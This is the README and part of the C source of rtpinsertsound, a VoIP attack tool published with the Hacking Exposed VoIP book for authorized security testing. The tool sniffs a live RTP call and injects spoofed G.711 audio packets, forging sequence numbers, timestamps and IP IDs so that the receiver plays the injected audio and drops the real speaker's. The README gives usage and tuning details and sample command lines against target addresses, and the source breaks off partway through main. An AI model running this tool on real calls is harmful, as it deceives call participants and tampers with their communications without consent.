17 under the terms of the GNU Free Documentation License, Version 1.2
18 or any later version published by the Free Software Foundation;
19 with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
20 A copy of the license is included in the section entitled "GNU
21 Free Documentation License".
22
23 Authors:
24 v3.0 : 01/03/2007
25 Mark D. Collier <[email protected]>, SecureLogix
26 Mark O'Brien, SecureLogix
27 Dustin D. Trammell <[email protected]>, TippingPoint
28 v2.0 : 10/10/2006
29 v1.0 : 08/14/2006
30 Mark D. Collier <[email protected]>, SecureLogix
31 Mark O'Brien, SecureLogix
32
33 SecureLogix: http://www.securelogix.com
34 TippingPoint: http://www.tippingpoint.com
35 HackingExposed VoIP: http://www.hackingexposedvoip.com
36
37 This tool was produced with honorable intentions, which are:
38
39 o To aid owners of VoIP infrastructure to test, audit, and uncover security
40 vulnerabilities in their deployments.
41
42 o To aid 3rd parties to test, audit, and uncover security vulnerabilities
43 in the VoIP infrastructure of owners of said infrastructure who contract
44 with or otherwise expressly approve said 3rd parties to assess said
45 VoIP infrastructure.
46
47 o To aid producers of VoIP infrastructure to test, audit, and uncover security
48 vulnerabilities in the VoIP hardware/software/systems they produce.
49
50 o For use in collective educational endeavors or use by individuals for
51 their own intellectual curiosity, amusement, or aggrandizement - absent
52 nefarious intent.
53
54 Unlawful use of this tool is strictly prohibited.
55
56 The following open-source libraries of special note were used to build
57 rtpinsertsound:
58
59 1) libnet v1.1.2.1 (tool requires at least this version)
60 2) libpcap v0.9.4 (tool will probably work with some earlier versions)
61 3) libfindrtp [ e.g. utility routine - libfindrtp_find_rtp( ) to sniff out RTP sessions ]
62 4) hack_library [ e.g. utility routine - Str2IP( ) ]
63
64 Note: The Makefile for the rtpinsertsound presumes
65 that hack_library.o and hack_library.h reside in
66 a folder at ../hack_library relative to the Makefile
67 within the rtpinsertsound directory.
68
69 5) a G.711 codec conversion library based upon open-source code
70 from SUN published in the early 1990's and updated by
71 Borge Lindberg on 12/30/1994.
72
73 Note: The Makefile for the rtpinsertsound tool presumes
74 that the original g711.c file has been renamed
75 g711conversions.c and a g711conversions.h file
76 has been added. The rtpinsertsound tool Makefile
77 presumes the header and object for this library
78 reside in a folder at ../g711conversions relative
79 to the folder where rtpinsertsound is built. The
80 following comment is extracted from the source for
81 your information:
82
83 /*
84 * December 30, 1994:
85 * Functions linear2alaw, linear2ulaw have been updated to correctly
86 * convert unquantized 16 bit values.
87 * Tables for direct u- to A-law and A- to u-law conversions have been
88 * corrected.
89 * Borge Lindberg, Center for PersonKommunikation, Aalborg University.
90 * [email protected]
91 *
92 */
93
94 Install and build the libraries in accordance with their respective
95 instructions. Then change to the rtpinsertsound_v3.0 directory and simply
96 type: make
97
98 then:
99
100 [root@localhost rtpinsertsound_v3.0]# ./rtpinsertsound
101
102 Error: 1 command line parameter is mandatory
103
104 rtpinsertsound - Version 2.0
105 October 10, 2006
106 Usage:
107 Mandatory -
108 pathname of file whose audio is to be mixed into the
109 targeted live audio stream. If the file extension is
110 .wav, then the file must be a standard Microsoft
111 RIFF formatted WAVE file meeting these constraints:
112 1) header 'chunks' must be in one of two sequences:
113 RIFF, fmt, fact, data
114 or
115 RIFF, fmt, data
116 2) Compression Code = 1 (PCM/Uncompressed)
117 3) Number of Channels = 1 (mono)
118 4) Sample Rate (Hz) = 8000
119 5) Significant Bits/Sample =
120 signed, linear 16-bit or
121 unsigned, linear 8-bit
122 If the file name does not specify a .wav extension,
123 then the file is presumed to be a tcpdump formatted
124 file with a sequence of, exclusively, G.711 u-law
125 RTP/UDP/IP/ETHERNET messages
126 Note: Yep, the format is referred to as 'tcpdump'
127 even though this file must contain udp messages
128 Optional -
129 -a source RTP IPv4 addr
130 -A source RTP port
131 -b destination RTP IPv4 addr
132 -B destination RTP port
133 -f spoof factor - amount by which to:
134 a) increment the RTP hdr sequence number obtained
135 from the ith legitimate packet to produce the
136 RTP hdr sequence number for the ith spoofed packet
137 b) multiply the RTP payload length and add that
138 product to the RTP hdr timestamp obtained from
139 the ith legitimate packet to produce the RTP hdr
140 timestamp for the ith spoofed packet
141 c) increment the IP hdr ID number obtained from the
142 ith legitimate packet to produce the IP hdr ID
143 number for the ith spoofed packet
144 [ range: +/- 1000, default: 2 ]
145 -i interface (e.g. eth0)
146 -j jitter factor - the reception of a legitimate RTP
147 packet in the target audio stream enables the output
148 of the next spoofed packet. This factor determines
149 when that spoofed packet is actually transmitted.
150 The factor relates how close to the next legitimate
151 packet you'd actually like the enabled spoofed packet
152 to be transmitted. For example, -j 10 means 10% of
153 the codec's transmission interval. If the transmission
154 interval = 20,000 usec (i.e. G.711), then delay the
155 output of the spoofed RTP packet until the time-of-day
156 is within 2000 usec (i.e. 10%) of the time the next
157 legitimate RTP packet is expected. In other words,
158 delay 100% minus the jitter factor, or 18,000 usec
159 in this example. The smaller the jitter factor, the
160 greater the risk you run of not outputting the current
161 spoofed packet before the next legitimate RTP packet
162 is received. Therefore, a factor > 10 is advised.
163 [ range: 0 - 80, default: 80 = output spoof ASAP ]
164 -p seconds to pause between setup and injection
165 -h help - print this usage
166 -v verbose output mode
167
168 Note: If you are running the tool from a host with multiple
169 ethernet interfaces which are up, be forewarned that
170 the order those interfaces appear in your route table
171 and the networks accessible from those interfaces might
172 compel Linux to output spoofed audio packets to an
173 interface different than the one stipulated by you on
174 command line. This should not affect the tool unless
175 those spoofed packets arrive back at the host through
176 the interface you have specified on the command line
177 (e.g. the interfaces have connectivity through a hub).
178 [root@EquinoxLX rtpinsertsound_v3.0]#
179
180 This tool does NOT presume it is running as Man-In-The-Middle
181 (MITM), however, it does presume that target audio (i.e. RTP) packet
182 streams of interest can be received by the specified Ethernet interface
183 in promiscuous mode (e.g. the host running the tool is connected to
184 a hub through which target audio packet streams are flowing).
185
186 The tool presently supports inserting audio into an audio stream
187 (i.e. RTP/UDP/IP/Ethernet) bearing G.711 u-law payloads only.
188 The RTP header of the target audio packets must be a standard
189 RFC 3550 12-byte RTP header. The tool does NOT automatically
190 detect and compensate for audio session modifications. The tool
191 does NOT presently support 802.1q (i.e. layer 2 VLAN/priority
192 tagging) within the 802.3 IEEE Ethernet header. The tool presumes
193 it is running on a little-endian platform.
194
195 Use Ethereal/Wireshark or some appropriate sniffer to determine the
196 stream into which you'd like to insert an audio playback. You must
197 know the source IPv4 address, source UDP port, destination IPv4
198 address, and destination UDP port of the stream into which you'd like
199 to insert audio. This tool is unidirectional. If the insertion of the
200 audio is successful, the targeted destination will be persuaded to
201 accept the RTP packets inserted by this tool and reject the legitimate
202 audio packets that continue to stream from the legitimate source to the
203 target destination. In other words, audio from the legitimate source
204 will be muted during the duration of the playback. Perhaps it is more
205 technically correct to state that the pre-recorded bogus audio being
206 played back by the tool is being "interlaced" into the target audio
207 stream.
208
209 Playback is rather arbitrarily limited to 30 seconds. You may change
210 the source code if you require a longer playback interval.
211
212 The sound (i.e. audio) to insert into an audio stream must be in
213 one of two forms as stipulated by the usage printout appearing
214 above.
215
216 If a wave file you'd like to input to the tool does not comply with
217 the constraints imposed by the tool, you will need to use an audio
218 conversion utility to massage the file into a form acceptable by the
219 tool. For example, many wave files on the Net are in this format:
220
221 Compression Code: 1
222 Channels: 1
223 Sample Rate (Hz): 11025
224 Avg. Bytes/sec: 11025
225 Block Align: 1
226 Significant Bits/sample: 8
227
228 A sample rate of 11025 is not presently supported by the tool.
229 The Linux sox command might be used to convert the file to
230 the required 8000 Hz sample rate. If the file is named
231 swclear.wav then:
232
233 sox -V swclear.wav -r 8000 swclear_resample.wav resample -ql
234
235 converts swclear.wav to swclear_resample.wav with the
236 following format:
237
238 Compression Code: 1
239 Channels: 1
240 Sample Rate (Hz): 8000
241 Avg. Bytes/sec: 8000
242 Block Align: 1
243 Significant Bits/sample: 8
244
245 The sox command can also be used to convert multi-channel
246 audio to mono, covert different compression codes to the
247 PCM/uncompressed format required by the tool, and convert
248 the number of significant bits/sample, among many other
249 conversions.
250
251 Unfortunately, sox does not support the conversion of wave files
252 from MPEG format to the format required by the tool. If you
253 attempted a similar sox command to the one above for the a
254 MPEG Layer 3 formatted file you'd get this error:
255
256 sox: Failed reading khan.wav: Sorry, this WAV file is in MPEG Layer 3 format.
257
258 For tcpdump formatted input files, the file must be composed of
259 sequential RTP/UDP/IP/Ethernet messages, where the RTP payloads
260 are encoded using the G.711 u-law codec (i.e. PCMU). Our sound
261 files were produced using the Asterisk open-source IP PBX. Asterisk
262 “call files” were used to call a VoIP phone that was configured
263 with a preference to receive audio processed by the G.711 u-law
264 codec. The call file stipulated the sound file to play once the
265 call was connected. The Ethereal/Wireshark network analyzer tool
266 was used to capture the G.711 packets flowing from the Asterisk
267 IP PBX to the phone. These were saved into a standard tcpdump
268 file. There are, no doubt, many other mechanisms to produce such
269 a file.
270
271 Note: For operation of the open-source Asterisk IP PBX and
272 an explanation of "call files", see: Asterisk: The Future of
273 Telephony, by Jim Van Meggelen, Jared Smith, and Leif Madsen.
274 Copyright 2005 O’Reilly Media, Inc., 0-596-00962-3.
275
276 A softcopy of that book is available on-line as a legitimately
277 free download.
278
279 A later version of the tool might be capable of inputting a
280 greater variety of audio file formats.
281
282 When the tool is executed, it first loads the pre-recorded audio into
283 memory. Then it attempts to detect a packet from the audio stream
284 designated on the command line. The output of bogus audio interlaced
285 into the legitimate audio stream is close-looped with the reception of
286 legitimate audio packets.
287
288 The optional spoof factor value might be specified on the command line
289 (i.e. default = 2). As reported by the tool's usage printout, the
290 spoof factor is used to adjust key RTP header and IP header values
291 in an inserted audio packet relative to those values in the legitimate
292 audio packet triggering the insertion of that bogus audio packet.
293 Adjusting those key header values slightly higher (or lower) relative
294 to the last legitimate packet may persuade the target destination to
295 accept the inserted packets and reject the legitimate packets it
296 continues to receive.
297
298 The optional jitter factor value might be specified on the command line
299 (i.e. default 80% = ASAP). The jitter factor determines exactly when
300 the next bogus audio packet is inserted relative to the received audio
301 packet triggering the output of the bogus packet. The default value
302 outputs the bogus packet ASAP. A value less than 80% requires the
303 bogus packet to be output closer to when the next legitimate packet
304 is expected. The factor is expressed as a percentage of the ideal
305 codec transmission interval, which is every 20 ms for G.711 u-law.
306 So, for G.711:
307
308 jitter factor how close to the next legitimate packet
309 % the bogus packet is transmitted
310 ------------- -------------------------------------------
311 80 close to 20 ms (i.e. ASAP - within a couple
312 of hundred usec after the trigger packet)
313
314 70 14 ms (i.e. 6 ms after the trigger packet)
315 60 12 ms (i.e. 8 ms after the trigger packet)
316 50 10 ms (i.e. 10 ms after the trigger packet)
317 40 8 ms (i.e. 12 ms after the trigger packet)
318 30 6 ms (i.e. 14 ms after the trigger packet)
319 20 4 ms (i.e. 16 ms after the trigger packet)
320 10 2 ms (i.e. 18 ms after the trigger packet)
321 5 1 ms (i.e. 19 ms after the trigger packet)
322
323 When a jitter factor other than 80 is specified, the execution priority
324 of the tool is increased to the maximum. You'll probably note that other
325 applications and GUI's running on the same platform will decrease
326 in responsiveness (e.g. Ethereal). Only one VoIP hard phone model has
327 been encountered by the authors thus far (out of 8) that requires a jitter
328 factor other than the default value. The timing is not as precise as
329 the table might indicate. A jitter factor too close to 0 usually
330 results in the tool failing, at some point in the playback, to output a
331 bogus packet before the next legitimate packet is received. The tool
332 detects that condition and halts with an appropriate error message.
333
334 Example:
335
336 ./rtpinsertsound eth0 10.1.101.40 39120 10.1.101.60 64006 g711CaptureAlphabetRecitation -f 1 -j 10
337
338 In this example, the audio from the tcpdump file named
339 g711CaptureAlphabetRecitation within the rtpinsertsound folder is
340 inserted into the G.711 audio stream from the VoIP source at
341 10.1.101.40:39120 to the VoIP destination at 10.1.101.60:64006.
342 Each bogus audio packet is transmitted approximately 18 ms after
343 the prior legitimate audio packet is received by the tool. The
344 factor to apply to manipulate key RTP header and IP header
345 values in a bogus packet, relative to its legitimate trigger
346 packet is: 1
347
348 Alternatively, an appropriate wave file could be used:
349
350 ./rtpinsertsound eth0 10.1.101.40 39120 10.1.101.60 64006 AlphabetRecitation.wav -f 1 -j 10
351
352 If the tool pauses for a noticeable interval when initially attempting
353 to sync to the audio stream, it very likely means one or more of the
354 following conditions exist:
355
356 a) the stream is not present at the specified Ethernet interface
357 b) the audio stream does not exist (i.e. the call has ended or changed state)
358 c) the user has not entered the IPv4 addresses or UDP ports properly
359
360 Since the output of bogus audio is close-looped to the reception of the
361 target audio stream, the tool stalls if the target audio stream ends
362 or changes state during the playback.
363
364 A compilation directive determines whether the object code of the tool is
365 produced with Ethernet layer spoofing or whether IP layer spoofing is
366 sufficient. Testing to-date has demonstrated that Ethernet layer spoofing
367 is NOT required. The tool executes faster when it is not required to spoof
368 at the Ethernet layer. Ethernet layer spoofing is not recommended.
369
370 Mark O'Brien (10/11/2006)
0 //-------------------------------------------------------------------------------
1 //
2 // rtpinsertsound.c - Command line tool to insert the content
3 // of a sound file into a call. This tool presumes that
4 // the host from which the tool is executed is not
5 // MITM in the audio stream. However, it presumes
6 // the host from which the tool is executed is capable
7 // of sniffing the specified stream (e.g. the host is
8 // connected to a hub through which the audio stream
9 // is flowing).
10 //
11 // Note: this behavior is in contrast to the tool,
12 // rtpreplacesound, which presumes the host
13 // from which the tool is executed is MITM.
14 // As such, the audio is received and dropped
15 // in favor of the audio replacing it.
16 //
17 // This tool sniffs a specified audio stream for RTP
18 // packets. It uses the protocol header parameters it
19 // captures to spoof the sender (e.g. sequence number).
20 // The goal is to transmit audio packets in advance
21 // of the sender that is being spoofed by the tool in
22 // hopes of persuading the receiver to accept the audio
23 // from this tool and disregard audio packets from
24 // the legitimate sender as redundant.
25 //
26 // The format of the pre-recorded audio must
27 // be one of the following:
28 //
29 // a) a file name with the .wav extension is a
30 // standard Microsoft RIFF multimedia
31 // formatted WAVE file.
32 //
33 // b) a file name without the .wav extension is
34 // a sequence of, exclusively, G.711 u-law
35 // RTP/UDP/IP/ETHERNET messages.
36 //
37 // The RTP header timestamp and sequence
38 // number in the spoofed packet are adjusted
39 // by a factor. The IP header ID in the spoofed
40 // packet is also adjusted by a factor.
41 //
42 // The goal is to transmit audio packets
43 // containing protocol header values to persuade
44 // the targeted destination device that the spoofed
45 // packets are more timely and that the audio
46 // packets the destination continues to receive
47 // from the legitimate transmitter are too
48 // early or late.
49 //
50 // Note: this tool is unidirectional, but you can run
51 // two instances to affect each side of a 2-party
52 // call.
53 //
54 // Copyright (C) 2006 Mark D. Collier/Mark O'Brien
55 //
56 // This program is free software; you can redistribute it and/or modify
57 // it under the terms of the GNU General Public License as published by
58 // the Free Software Foundation; either version 2 of the License, or
59 // (at your option) any later version.
60 //
61 // This program is distributed in the hope that it will be useful,
62 // but WITHOUT ANY WARRANTY; without even the implied warranty of
63 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
64 // GNU General Public License for more details.
65 //
66 // You should have received a copy of the GNU General Public License
67 // along with this program; if not, write to the Free Software
68 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
69 //
70 // Authors:
71 // v3.0 : 01/03/2007
72 // Mark D. Collier <[email protected]>, SecureLogix
73 // Mark O'Brien, SecureLogix
74 // Dustin D. Trammell <[email protected]>, TippingPoint
75 // v2.0 : 10/10/2006
76 // v1.0 : 08/14/2006
77 // Mark D. Collier <[email protected]>, SecureLogix
78 // Mark O'Brien, SecureLogix
79 //
80 // SecureLogix: http://www.securelogix.com
81 // TippingPoint: http://www.tippingpoint.com
82 // Hacking Exposed VoIP: http://www.hackingexposedvoip.com
83 //
84 //-------------------------------------------------------------------------------
85
86 #include <libfindrtp.h>
87 #include "hack_library.h"
88 #include "g711conversions.h"
89 #include "rtpinsertsound.h"
90
91 int main ( int argc, char *argv[] ) {
92
93 //
94 // Some declarations and initializations
95 //
96 int i;
97 int bytesWritten;
98 int ipPacketSize;
99
100 rtp_pair *rp = NULL;
101 int rtpSrcPort = 0;
102 int rtpDestPort = 0;
103 int spoofFactor = 2; // default
104 int jitterFactor = 80; // default (i.e. ouput spoofed RTP packet ASAP)
105
106 unsigned int pause = 0;
107 unsigned int idxExtension = 0;
108 unsigned int numG711PacketEquivalents = 0;
109 unsigned int rtpSrcIPv4Addr = 0;
110 unsigned int rtpDestIPv4Addr = 0;
111
112 unsigned int spoofTimestamp;
113 unsigned int spoofSSRC;
114 unsigned short spoofID;
115 unsigned short spoofSeqNumber;
116
117 char macString[18] = ""; // 6 hex bytes * 2 char/byte + 5 colons + end-of-string
118
119 bool bSuccess = false;
120 bool bFoundSyncPacket = false;
121
122 struct rtp_msg rtp_msg_to_insert;
123
124 char pcap_errbuf[PCAP_ERRBUF_SIZE];
125 char rtpDestIPv4AddrDotted[16];
126 char rtpSrcIPv4AddrDotted [16];
127
128 char *psDevice = "eth0";
129 char *psRtpSrcIPv4Addr = NULL;
130 char *psRtpDestIPv4Addr = NULL;
131 char *psTempIPv4Addr = NULL;
132 char *psInputAudioFile = NULL;
133
134 float expectedAudioPlaybackTime = 0;
135
136 signal ( SIGTERM, catch_signals );
137 signal ( SIGINT, catch_signals );
138
139 //
140 // Check the number of command line parms entered.
141 //
142 if ( argc < 2 ) {
143 printf( "\nError: 1 command line parameter is mandatory\n" );
144 usage ( EXIT_FAILURE );
145 };
146
147 //
148 // Parse the command line.
149 //
150
151 while ( ( opt = getopt ( argc, argv, "a:A:b:B:f:i:j:p:vh?" ) ) != EOF ) {
152 switch ( opt ) {
153 case 'a':
154 // Source RTP IP address. Str2IP returns the numeric IP address
155 // in network byte order.
156
157 psRtpSrcIPv4Addr = optarg;
158 psTempIPv4Addr = strdup( psRtpSrcIPv4Addr );
159
160 if ( Str2IP ( psTempIPv4Addr, &rtpSrcIPv4Addr ) != EXIT_SUCCESS ) {
161 printf ( "\nsource IPv4 addr invalid: %s\n", psRtpSrcIPv4Addr );
162 free ( psTempIPv4Addr );
163 usage ( EXIT_FAILURE ); // control does not return here
164 }
165
166 snprintf ( rtpSrcIPv4AddrDotted, 15, psRtpSrcIPv4Addr );
167
168 free ( psTempIPv4Addr );
169 psTempIPv4Addr = NULL;
170 break;
171 case 'A':
172 // Source RTP port number.
173
174 rtpSrcPort = atoi ( optarg );
175 if ( rtpSrcPort < 0 || rtpSrcPort > 65535 ) {
176 printf ( "\nRTP Source Port range = 0 to 65535\n" );
177 usage ( EXIT_FAILURE ); // control does not return here
178 }
179 break;
180 case 'b':
181 // Destination RTP IP address. Str2IP returns the numeric IP address
182 // in network byte order.
183
184 psRtpDestIPv4Addr = optarg;
185 psTempIPv4Addr = strdup( psRtpDestIPv4Addr );
186
187 if ( Str2IP ( psTempIPv4Addr, &rtpDestIPv4Addr ) != EXIT_SUCCESS ) {
188 printf ( "\nsource IPv4 addr invalid: %s\n", psRtpDestIPv4Addr );
189 free ( psTempIPv4Addr );
190 usage ( EXIT_FAILURE ); // control does not return here
191 }
192
193 snprintf ( rtpDestIPv4AddrDotted, 15, psRtpDestIPv4Addr );
194
195 free ( psTempIPv4Addr );
196 psTempIPv4Addr = NULL;
197 break;
198 case 'B':
199 // Destination RTP port number.
200
201 rtpDestPort = atoi ( optarg );
202 if ( rtpDestPort < 0 || rtpDestPort > 65535 ) {
203 printf ( "\nRTP Destination Port range = 0 to 65535\n" );
204 usage ( EXIT_FAILURE ); // control does not return here
205 }
206 break;
207 case 'f':
208 spoofFactor = atoi ( optarg ); // increment and mutiplication factor
209 break;
210 case 'i':
211 // Ethernet device.
212 psDevice = optarg;
213 break;
214 case 'j':
215 jitterFactor = atoi ( optarg ); // spoofed pkt jitter factor %
216 break;
217 case 'p':
218 pause = atoi ( optarg ); // pause value (in seconds)
219 break;
220 case 'v':
221 bVerbose = true; // Verbose option.
222 break;
223 case 'h':
224 case '?':
225 usage( EXIT_SUCCESS ); // control does not return here.
226 break;
227 }
228 }
229
230 //
231 // getopt permutes the order of the parms in argv[] placing non-optional parms
232 // at the end of argv. optind should be the index of the 1st mandatory non-optional
233 // parm in argv[] and there must be exactly 5 non-optional mandatory parms:
234 //
235
236 if ( optind != ( argc - 1 ) ) {
237 printf( "\nError: 1 command line parameter is mandatory\n" );
238 usage ( EXIT_FAILURE ); // control does not return here
239 }
240
241 //
242 // Pathname of the file containing audio to insert into the live audio stream
243 // described by the other command line arguments.
244 //
245 psInputAudioFile = argv[optind++];
246
247 //
248 // spoof factor
249 //
250 if ( spoofFactor < -1000 || spoofFactor > 1000 ) {
251 printf ( "\noptional spoof factor range: +/- 1000\n" );
252 usage ( EXIT_FAILURE ); // control does not return here
253 }
254
255 //
256 // jitter factor (i.e. see usage ( ) )
257 //
258
259 if ( jitterFactor < 0 || jitterFactor > 80 ) {
260 printf ( "\noptional jitter factor range: 0 to 80\n" );
261 usage ( EXIT_FAILURE ); // control does not return here
262 }
263
264 //
265 // FIXME: For now, the tool only supports the G.711 codec.
266 //
267
268 if ( jitterFactor < 80 ) {
269 jitterDelayUsec = ( unsigned int ) (
270 ( ( float ) __RTPINSERTSOUND_G711_CODEC_INTERVAL_USEC ) -
271 ( ( ( float ) __RTPINSERTSOUND_G711_CODEC_INTERVAL_USEC ) *
272 ( ( ( float ) jitterFactor ) / 100.0 ) ) );
273 jitterProximityUsec =
274 __RTPINSERTSOUND_G711_CODEC_INTERVAL_USEC - jitterDelayUsec;
275 } // end if ( jitterFactor < 80 )
276
277 //
278 // Fill out any missing RTP Session data
279 //
280 extern unsigned int libfindrtp_debug;
281 libfindrtp_debug = bVerbose;
282
283 if ( !psRtpSrcIPv4Addr || !rtpSrcPort ||
284 !psRtpDestIPv4Addr || !rtpDestPort ) {
285 rp = libfindrtp_find_rtp( psDevice, 1, psRtpSrcIPv4Addr, psRtpDestIPv4Addr );
286 if ( rp ) {
287 rtpSrcIPv4Addr = rp->ip_a_n;
288 psRtpSrcIPv4Addr = (char *)&rp->ip_a_a;
289 memcpy( rtpSrcIPv4AddrDotted, &rp->ip_a_a, 16);
290 rtpSrcPort = rp->port_a;
291
292 rtpDestIPv4Addr = rp->ip_b_n;
293 psRtpDestIPv4Addr = (char *)&rp->ip_b_a;
294 memcpy( rtpDestIPv4AddrDotted, &rp->ip_b_a, 16);
295 rtpDestPort = rp->port_b;
296 }
297 }
298
299 //
300 // Print summary of parms.
301 //
302
303 printf ( "\n%s\n", __RTPINSERTSOUND_VERSION );
304 printf ( "%s\n", __RTPINSERTSOUND_DATE );
305
306 printf ( "\nsource IPv4 addr:port = %s:%u",
307 rtpSrcIPv4AddrDotted, rtpSrcPort );
308
309 printf ( "\ndest IPv4 addr:port = %s:%u",
310 rtpDestIPv4AddrDotted, rtpDestPort );
311
312 printf ( "\nInput audio file: %s\n", psInputAudioFile );
313
314 printf ( "\nspoof factor: %d", spoofFactor );
315
316 if ( jitterFactor == 80 ) {
317 printf ( "\njitter factor: output spoofed packets ASAP\n" );
318 } else {
319 printf ( "\njitter factor: %d%% "
320 " = wait %u usec to output each spoofed RTP packet\n",
321 jitterFactor, jitterDelayUsec );
322 /*
323 printf ( "\nmax SCHED_FIFO scheduling priority = %d\n"
324 "\nmax SCHED_RR scheduling priority = %d\n"
325 "\nmax SCHED_OTHER scheduling priority = %d\n"
326 "\nmin SCHED_FIFO scheduling priority = %d\n"
327 "\nmin SCHED_RR scheduling priority = %d\n"
328 "\nmin SCHED_OTHER scheduling priority = %d\n",
329 sched_get_priority_max( SCHED_FIFO ),
330 sched_get_priority_max( SCHED_RR ),
331 sched_get_priority_max( SCHED_OTHER ),
332 sched_get_priority_min( SCHED_FIFO ),
333 sched_get_priority_min( SCHED_RR ),
334 sched_get_priority_min( SCHED_OTHER ) );
335 */
336
337 //
338 // The user has specified a jitter factor other than the default of 80 (i.e. ASAP).
339 // Raise the execution priority of rtpinsertsound to the maximum priority
340 // in order to attempt to output each spoofed audio packet as close as possible to
341 // the time delta desired by the user before the next legitimate audio packet
342 // is expected.
343 //
344
345 int process_priority = 0;
346
347 process_priority = getpriority( PRIO_PROCESS, 0 /* this process */ );
348
349 printf ( "\n\nProcess priority was = %d\n", process_priority );
350
351 process_priority = -20; // -20 to 19: max (i.e. best) priority = -20, normal = 0
352
353 rc = setpriority ( PRIO_PROCESS, 0 /* this process */, process_priority );
354
355 if ( rc == 0 ) {
356 printf ( "\nProcess Priority set to: %d (i.e. highest priority)\n",
357 getpriority( PRIO_PROCESS, 0 /* this process */ ) );
358 } else {
359 printf ( "\nError: Could not set process priority to: %d\n",
360 process_priority );
361 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
362 }
363 } // end if ( jitterFactor == 80 )
364
365 if ( bVerbose ) {
366 printf ( "\nVerbose mode" );
367 }
368
369 //
370 // Vet the specified pre-recorded audio file to confirm it complies
371 // with various restrictions imposed by this tool.
372 //
373
374 idxExtension = strlen ( psInputAudioFile ) - 4;
375
376 if ( idxExtension > 0 ) {
377 // filename could have .wav extension
378 if ( psInputAudioFile[ idxExtension ] == '.' &&
379 psInputAudioFile[ idxExtension + 1 ] == 'w' &&
380 psInputAudioFile[ idxExtension + 2 ] == 'a' &&
381 psInputAudioFile[ idxExtension + 3 ] == 'v' ) {
382 bSuccess = preloadWavAudio ( psInputAudioFile,
383 pcmuSamplesToInsert,
384 &numG711PacketEquivalents );
385 } else {
386 bSuccess = preloadTCPdumpAudio ( psInputAudioFile,
387 pcmuSamplesToInsert,
388 &numG711PacketEquivalents );
389 }
390 } else {
391 bSuccess = preloadTCPdumpAudio ( psInputAudioFile,
392 pcmuSamplesToInsert,
393 &numG711PacketEquivalents );
394 }
395
396 if ( !bSuccess ) {
397 CleanupAndExit ( EXIT_FAILURE );
398 }
399
400 if ( numG711PacketEquivalents == 0 ) {
401 printf ( "\nError: Audio input file is empty or doesn't hold"
402 "\nat least one G.711 packet's worth of audio.\n" );
403 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
404 }
405
406 printf ( "\nAudio read from input file equates to %u G711 packets.\n",
407 numG711PacketEquivalents );
408
409 expectedAudioPlaybackTime = (float) numG711PacketEquivalents /
410 (float) __RTPINSERTSOUND_G711_CODEC_RATE_HZ;
411
412 printf ( "At an ideal playback rate of %u Hz, this represents\n"
413 "%4.2f seconds of audio.\n",
414 __RTPINSERTSOUND_G711_CODEC_RATE_HZ,
415 expectedAudioPlaybackTime );
416
417 //
418 // It's time to sniff the specified network interface and try to capture
419 // a packet from the audio stream specified by command line arguments
420 //
421
422 pcap_errbuf[ 0 ] = '\0';
423
424 h_pcap_live_rtp =
425 pcap_open_live (
426 psDevice, // interface to open
427 65535, // max. # of bytes to capture
428 __RTPINSERTSOUND_PROMISCOUS_MODE, // open in promiscous mode
429 0, // wait forever for 1 packet.
430 pcap_errbuf ); // where an error string is stored
431
432 if ( h_pcap_live_rtp == NULL ) {
433 fprintf ( stderr,
434 "\nCouldn't open interface to sniff/insert audio %s: %s\n",
435 psDevice, pcap_errbuf );
436 CleanupAndExit ( EXIT_FAILURE );
437 }
438
439 if ( pcap_errbuf[ 0 ] != '\0' ) {
440 // pcap has returned a warning instead of an error
441 fprintf ( stderr,
442 "\npcap warning: %s\n", pcap_errbuf );
443 }
444
445 //
446 // Prompt user for injection command or pause number of seconds specified on
447 // the command-line.
448 //
449
450 if ( pause ) {
451 printf( "\nWaiting %d seconds...\n", pause );
452 sleep( pause );
453 }
454 else {
455 printf( "\nReady to inject, press <ENTER> to begin injection...\n" );
456 scanf( "%*c" );
457 }
458
459 //
460 // Need to open a socket purely for the purpose of obtaining the MAC address of
461 // the specified device. The MAC address of the device must be included in the
462 // pcap filter to prevent the spoofed packets output from this tool from being
463 // captured by pcap and feed back into the tool as if they came from the
464 // RTP transmitter this tool has been commanded to spoof.
465 //
466
467 strcpy ( ifreq.ifr_ifrn.ifrn_name, psDevice );
468
469 if ( ( sockfd = socket ( AF_INET, SOCK_DGRAM, IPPROTO_UDP ) ) < 0 ) {
470 fprintf ( stderr,
471 "\nsocket - Couldn't allocate socket to obtain device MAC addr\n" );
472 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
473 }
474
475 if ( ioctl ( sockfd, SIOCGIFHWADDR, &ifreq ) != 0 ) {
476 fprintf ( stderr,
477 "\nioctl - Couldn't read socket's MAC address\n" );
478 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
479 }
480
481 memcpy ( deviceMAC, ifreq.ifr_hwaddr.sa_data, IFHWADDRLEN );
482
483 macString[0] = '\0'; // initialize workspace string to NUL string
484
485 sprintf ( macString, "%02x:%02x:%02x:%02x:%02x:%02x",
486 deviceMAC[0],
487 deviceMAC[1],
488 deviceMAC[2],
489 deviceMAC[3],
490 deviceMAC[4],
491 deviceMAC[5],
492 deviceMAC[6] );
493
494 if ( bVerbose ) {
495 printf ( "\n%s's MAC: %s\n", psDevice, macString );
496 }
497
498 //
499 // Create a libpcap filter to restrict the capture to the audio stream
500 // specified by command line arguments
501 //
502 // The filter is a string of this form:
503 // "src host <ip dotted addr> and dst host <dotted IP addr> and udp src port <port>
504 // and udp dst port <port> and not ether src <MAC of spoof packet output interface>"
505 //
506
507 char pcap_filter[ 300 ]; // Provide more than enough space for the filter ( i.e. 2x)
508
509 pcap_filter[0] = '\0'; // NUL string
510
511 rc = snprintf ( pcap_filter, sizeof( pcap_filter ),
512 "src host %s and dst host %s and "
513 "udp src port %u and udp dst port %u and "
514 "not ether src %s",
515 psRtpSrcIPv4Addr,
516 psRtpDestIPv4Addr,
517 rtpSrcPort,
518 rtpDestPort,
519 macString );
520
521 if ( rc >= sizeof ( pcap_filter ) ) {
522 printf ( "\nError: pcap filter string was limited at %u characters. "
523 "Expected room to spare.\n", sizeof ( pcap_filter ) - 1 );
524 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
525 }
526
527 if ( rc < 0 ) {
528 printf ( "\nError: pcap filter string problem. Size of string = %u\n",
529 sizeof ( pcap_filter ) - 1 );
